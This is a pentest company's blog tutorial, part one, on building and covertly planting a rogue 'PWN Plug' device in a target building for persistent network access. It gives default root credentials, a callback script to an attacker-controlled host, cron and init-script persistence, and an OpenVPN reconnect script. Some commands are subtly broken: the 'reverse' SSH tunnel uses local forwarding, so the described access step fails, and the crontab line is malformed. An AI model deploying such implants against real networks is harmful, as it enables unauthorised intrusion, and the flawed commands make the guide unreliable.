PLUG and PWN: No-tech to Low-tech Hacking, Part One

By Chris Patten ·

Here at FishNet Security, we often find ourselves performing social engineering and physical bypass techniques to circumvent an organization’s security controls. These engagements are evasive, and limitations to the actual time necessary to execute while we’re on premises is critical to a successful compromise. Specifically, a successful attack is performed by using a bit of social engineering to gain access onto the physical location and then quickly placing a device to maintain persistent access.

Not to downplay the social engineering aspect, but that is a technique that takes creativity and constant practice in order to get to the point of being able to place a rogue device. Although I expect to do a series of posts in the near future with regards to some of these tactics, for this post, I’ll stay the course and discuss the hardware device used on various engagements.

The device we are referring to is the PWN Plug, which can be purchased at http://pwnieexpress.com/ and comes equipped with a nice webui for easy configuration. The downside is that it’s relatively expensive at $600 for the wireless model, especially considering that anything placed into an untrusted environment is hostile and may never be seen again.

Alternatively, a similar plug can be built using the same SheevaPlug hardware along with PWNIE Express’ own community edition software. The hardware and software can be located at the following websites, respectively:

http://www.globalscaletechnologies.com/p-46-sheevaplug-dev-kit.aspx

https://sourceforge.net/projects/pwnplug/files/

The downside to this method is that PWNIE has limited the functionality of the commercial edition; however, the upside is that the entire device now only costs about $100 to build. From my personal observation, the community edition software works fine for creating a hardwired ethernet-persistent connection back to our attacker-controlled Backtrack system. Here’s information to help those looking to get started with the community edition:

  1. Steps necessary to build the plug (PWNIE has a very nice installation document.)
  2. Steps to establish an automated reverse callback shell
  3. Options to maintain automatic persistence

Build the Plug CE

I won’t go into as much detail as the installation documentation provided on PWNIE’s website does, since it provides comprehensive details on the entire installation process. Installation documentation can be downloaded from the following link:

http://downloads.pwnieexpress.com/pdfs/PwnPlug1.1CommunityInstallationGuide.pdf

However, there is one noteworthy item associated with patching the 1.1 version of firmware immediately following the initial installation. Installers should forgo installing the 1.1.1 patch, since this was an attempt to move tools (e.g., Metasploit framework) to an external SD card because the codebase had quickly approached the Sheeva Plug’s built-in memory threshold. This would have required an SD card placed in the plug, and would have been less conspicuous as a result.

Instead, the folks at PWNIE released the 1.1.2 patch, which forked the official Metasploit CE framework, thus reducing the overall installation footprint and eliminating the need for the external SD card. Once again, this allows for a much stealthier device because most power supplies don’t have SD cards hanging from their cases. The 1.1.2 patch can be downloaded from the following website:

http://pwnieexpress.com/pages/pwn-plug-patch-1-1-2

Create a Reverse Callback Shell

At this point, we should have a working instance of the PWNIE CE software up and operational on the plug. Initial authentication uses the “root:pwnplug8000” credentials. Also, by cat’ing the /etc/debian_version, we can see that the plug is running Debian 6.0.4, also known as “Squeeze.” The plug also has full repo support using APT, which makes installation of additional software much more convenient.

root@polonus5:~# cat /etc/debian_version

6.0.4

Now it’s time to build and make this thing useful. Our setup environment uses a plug that will report back to a Backtrack 5 system. I was talking to a friend of mine, Ficti0n, over at Console Cowboys the other day, and he mentioned that his initial authentication process used to connect back to the Backtrack instance is manual using actual credentials. Therefore, I figured why not use SSH keys to reduce the amount of time necessary to place the plug, so we can get in and out of the target environment as quickly as possible. The process goes something like this:

From the Plug

  1. ssh-keygen
    1. this should have created an id_rsa.pub key
  2. ssh the key over to the Backtrack system using “scp ~/.ssh/id_rsa.pub userid@host:/”
    1. Note: change userid and host to accommodate the Backtrack login user and system IP address, respectively.

From Backtrack

  1. SSH or authenticate directly to the Backtrack system. Bring up a shell and copy the id_rsa.pub key over to ~/.ssh/authorized_keys using “cat /id_rsa.pub >> ~/.ssh/authorized_keys”.
  2. Now edit the /etc/ssh/sshd_config using an editor such as nano or vi. Note: both item “a” and “b” should be enabled by default, but just listing for clarity. Item “c” will need to be uncommented and changed to “no,” since this will prevent password challenge authentication and ensure that the server only accepts the SSH keys placed within the authorized_keys file.
    1. RSAAuthentication yes
    2. PubkeyAuthentication yes
    3. PasswordAuthentication no
  3. Enable the SSH service on the Backtrack system
    1. Execute “sshd-generate” at the shell. This will generate the server’s SSH keys.
    2. Execute “/etc/init.d/ssh start” to start the service.
    3. Optional: Executing “update-rc.d –f ssh defaults” will force SSH to start on boot.

Before we move on to creating a simple shell, let’s recap what has happened so far. First, we created SSH keys on the plug and moved them over to the Backtrack system. Then we configured the Backtrack system to only allow the authorized key authentication method. Finally, we enabled Backtrack’s SSH service. All of this was performed to eliminate the need for manual configuration when placing the plug in a target environment.

Callback – SSH Option

The target network will usually be running DHCP in order to issue IP addresses. The PWNPlug software installs with a default configured static IP address. Therefore, we need to be able to make the plug pull a DHCP address on boot. One of the easiest methods to accomplish this task is by editing the “/etc/rc.local” startup script using a text editor, such as nano or vi. The following modification will enable “dhclient” to execute on the plug at startup and any subsequent reboots.

root@polonus5:~# cat /etc/rc.local

#!/bin/sh -e

#

# rc.local

#

# This script is executed at the end of each multiuser runlevel.

# Make sure that the script will "exit 0" on success or any other

# value on error.

#

# In order to enable or disable this script just change the execution

# bits.

#

# By default this script does nothing.

dhclient #This line is added to the script

exit 0

The next step is actually creating a reverse connection that will initiate from the plug and establish a session to the Backtrack system. Since we initially configured this scenario to use SSH keys, it only makes sense to establish an SSH connection. Therefore, we will create a very simple script — “shell.sh” — that will SSH back to the Backtrack system and create a listening service on localhost.

#!/bin/bash

ssh -nNT -L 3000:127.0.0.1:22 root@backtrack_host &;

The “backtrack_host” needs to be replaced with the IP or hostname associated with the callback Backtrack system. Elaborating on the SSH syntax, we note the following referenced from the SSH main pages:

-n redirects stdin from /dev/null

-N Do not execute a remote command

-T Disable pseudo-tty allocation

-L [bind_address:]port:host:hostport

Save this to a shell script someplace on the plug. The commercial plugs have a “/var/pwnplug/scripts” directory, so it makes sense to follow the same convention and place all scripts is such a directory. Make sure that “/var/pwnplug/scripts/shell.sh” is made executable using a command such as:

chmod +x /var/pwnplug/scripts/shell.sh

In order to maintain persistence if the connection is lost, the “cron” utility can be used to run the script occasionally. The following command can be used to schedule a cron job that will run our script in five-minute intervals. (Read the cron man pages to alter schedule):

crontab -l | { cat; */5 * * * * /var/pwnplug/scripts/shell.sh "; } | crontab –

Finally, if all has gone well to this point, the ”ssh –p 3000 root@localhost “ command can be entered at a shell on the Backtrack system. This will access the locally created TCP/3000 service and will provide access to our plug. Furthermore, a simple check can be performed to ensure that TCP/3000 is available using “netstat –antp |grep 3000.”

Callback – OpenVPN Option

Another option, contributed by Hao Nguyen of the FishNet Security’s SECA team, is to create an OpenVPN server and configure the plug to connect back on startup. There are plenty of great resources available to help set up an OpenVPN server, so we won’t go into the details in this post. However, a good starting point can be found here:

http://openvpn.net/index.php/open-source/documentation/howto.html

Since the plug needs to connect on startup, the OpenVPN server is configured to authenticate using certificates. Upon generating certificates, the OpenVPN may not be readily available. It could be that the generated client certificate isn’t valid yet. Check the date by running the following command:

openssl x509 –in client.crt –text -noout

Copy over the server “ca.crt” and the “crt” and “key” files for the client into an openvpn directory; the “/opt” directory typically works well. Create a shell script to connect; something similar to:

#!/bin/sh

/usr/sbin/openvpn --remote --comp-lzo --nobind --dev tun --proto tcp-client --port --cipher --auth --auth-nocache --script-security 2 --up-restart --persist-key --persist-tun --pull --ping-restart 10 --client --ca /opt/openvpn/ca.crt --cert /opt/openvpn/.crt --key /opt/openvpn/.key

Make sure the openvpn directory and certs are set to the proper permissions. The “/opt/openvpn” file should be owned by root, and the certs should have permissions of 400. Also, make sure the openvpn shell script is made executable using something like chmod +x /opt/openvpn. Once the command line parameters have been completed to reflect the specific OpenVPN’s configuration, a successful connection should be made using the shell script.

To set up the plug to run this script on startup, put this script into the “/etc/init.d” directory and provide a unique name, such as “homevpn.” The script should reflect something like the following:

#! /bin/sh

### BEGIN INIT INFO

# Provides: vpn connection

# Required-Start: $all

# Required-Stop:

# Default-Start: 2 3 4 5

# Default-Stop:

# Description: Connect to home vpn server

### END INIT INFO

/usr/sbin/openvpn --remote --comp-lzo --nobind --dev tun --proto tcp-client --port --cipher --auth --auth-nocache --script-security 2 --up-restart --persist-key --persist-tun --pull --ping-restart 10 --client --ca /opt/openvpn/ca.crt --cert /opt/openvpn/.crt --key /opt/openvpn/.key

Register the script by running the following command:

insserv <script>

Reference the “/etc/rc*” scripts to ensure that the script was successfully registered and set to run on startup.

An alternate method to schedule a startup script is to run the following command:

update-rc.d –f <script> defaults

The following warning may be present:

update-rc.d: warning: homevpn stop runlevel arguments (0 1 6) do not match LSB Default-Stop values (none)

Simply ignore the message and continue, the –f flag will create the necessary symlinks for the init script.

The init script will now run on startup and stay running in the background. If network connectivity is disrupted, openvpn will continue to try to connect in the background.

Wrap Up

In conclusion, there are many methods and techniques that are used during security assessments. They say “the right tool for the right job”; well, the PWN Plug is just one of many tools and works quite well. More importantly, with a little effort and covert placement of the device, we have a functional and persistent Linux system waiting to accept further commands. The next step is world domination, or at least network domination. Build one, let us know what you use the plug for, and please feel free to contribute to the PWN Plugs CE community.

Go to part 2